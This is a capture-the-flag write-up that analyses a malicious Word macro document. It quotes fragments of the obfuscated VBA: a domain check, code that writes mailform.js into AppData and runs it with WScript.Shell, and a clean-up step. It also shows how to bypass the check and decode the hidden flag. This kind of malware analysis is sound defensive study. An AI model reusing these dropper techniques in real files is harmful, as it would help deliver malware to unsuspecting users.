Game Invitation

• Challenge talks about receiving a malicious docm file in email
• We managed to solve the challenge using windows and MS Office 2016
• We inspected the macros in the document and here is a brief flow :
  • it checks for host domain and proceeds if it matches

    chkDomain = "GAMEMASTERS.local"
    strUserDomain = Environ$("UserDomain")
    If chkDomain <> strUserDomain Then
    

• opens the current document as binary mode Open (ActiveDocument.FullName) For Binary As #gIvqmZwiW
  • uses regex to match a set pattern

      SwMbxtWpP = StrConv(CbkQJVeAG, vbUnicode)
      Dim N34rtRBIU3yJO2cmMVu, I4j833DS5SFd34L3gwYQD
      Dim vTxAnSEFH
      Set vTxAnSEFH = CreateObject("vbscript.regexp")
      vTxAnSEFH.Pattern = "sWcDWp36x5oIe2hJGnRy1iC92AcdQgO8RLioVZWlhCKJXHRSqO450AiqLZyLFeXYilCtorg0p3RdaoPa"
      Set I4j833DS5SFd34L3gwYQD = vTxAnSEFH.Execute(SwMbxtWpP)
    

• gets AppData dir path and writes mailform.js

    kWXlyKwVj = Environ("appdata") & "\Microsoft\Windows"
    Set aMUsvgOin = CreateObject("Scripting.FileSystemObject")
    If Not aMUsvgOin.FolderExists(kWXlyKwVj) Then
    kWXlyKwVj = Environ("appdata")
    End If
    Set aMUsvgOin = Nothing
    Dim K764B5Ph46Vh
    K764B5Ph46Vh = FreeFile
    IAiiymixt = kWXlyKwVj & "\" & "mailform.js"
  

• uses wscript to run mailform.js

    Set R66BpJMgxXBo2h = CreateObject("WScript.Shell")
    R66BpJMgxXBo2h.Run """" + IAiiymixt + """" + " vF8rdgMHKBrvCoCp0ulm"
  

• Finally it runs clean up and deletes mailform.js
• First we can modify the domain check to bypass that condition

    chkDomain = "GAMEMASTERS.local"
    strUserDomain = Environ$("UserDomain") <-- original
    strUserDomain = "GAMEMASTERS.local"    <-- simply replace it with the domain
    If chkDomain <> strUserDomain Then
  

• In the mailform.js file we can add one extra statement to print the output of the function just before it hits eval as highlighted below :

• Now we can use csript which is a CMD alternative of wscript to read the output it will print :

• In the noise we can see a cookie being sent with a base64 string

> echo "SFRCe200bGQwY3NfNHIzX2czdHQxbmdfVHIxY2tpMTNyfQo=" | base64 -d
